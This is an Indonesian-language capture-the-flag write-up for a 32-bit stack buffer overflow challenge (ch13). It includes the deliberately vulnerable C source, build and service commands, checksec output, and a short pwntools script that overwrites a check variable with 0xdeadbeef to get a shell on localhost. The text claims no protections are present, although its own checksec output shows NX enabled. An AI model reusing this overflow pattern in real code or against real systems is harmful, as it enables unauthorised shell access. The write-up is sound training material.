[REDACTED]

Masalah

Diberikan berkas ch13 beserta source code ch13.c yang dijalankan sebagai layanan pada nc localhost 31337.

Penyelesaian

Persiapan

Compile source code ch13.c menjadi binary ch13 dan jalankan berkas ch13 sebagai layanan dengan perintah ini.

$ gcc -m32 -o ch13 ch13.c -fno-stack-protector
$ socat tcp-l:31337,reuseaddr,fork EXEC:./ch13

Pengumpulan Informasi

Periksa jenis binary menggunakan file dan keamanan binary dengan checksec serta jalankan secara normal terlebih dahulu

$ file ch13
ch13: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=07c63f3bf0717be2d1d39f6cf22b39af1b8d3d12, not stripped

$ checksec ch13
[*] '/.../ch13'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ ./ch13 
dummy

[buf]: dummy

[check] 0x4030201

Arsitektur yang digunakan adalah Linux 32 bit dan tidak menggunakan proteksi apapun. Adapun alur program meminta input dan memeriksa apakah isi variabel check telah berubah. Jika melihat source code ada struktur kondisi yang jika nilai sama dengan 0xdeadbeef maka Shell bisa dieksekusi.

Isi source code ch13.c.

#include <stdlib.h>
#include <stdio.h>

int main()
{

    int var;
    int check = 0x04030201;
    char buf[40];

    fgets(buf,45,stdin);

    printf("\n[buf]: %s\n", buf);
    printf("[check] %p\n", check);

    if ((check != 0x04030201) && (check != 0xdeadbeef))
        printf ("\nYou are on the right way!\n");

    if (check == 0xdeadbeef)
    {   printf("Yeah dude! You win!\nOpening your shell...\n");
        system("/bin/dash");
        printf("Shell closed! Bye.\n");
    }
    return 0;
}

Identifikasi Kelemahan

Berdasarkan pengumpulan informasi diatas maka terdapat kelemahan yang bisa dieksploitasi. Salah satunya memanfaatkan kelemahan Buffer Overflow pada fungsi fgets yang bisa digunakan untuk menimpa stack variabel check.

Eksploitasi

Kami menulis script solver.py untuk mengeksploitasi binary tersebut.

from pwn import *

p = 'A'*40
p += p32(0xdeadbeef)

h = remote('localhost', 31337)
h.sendline(p)
h.interactive()

Luaran.

[+] Opening connection to localhost on port 31337: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root

results matching ""

    No results matching ""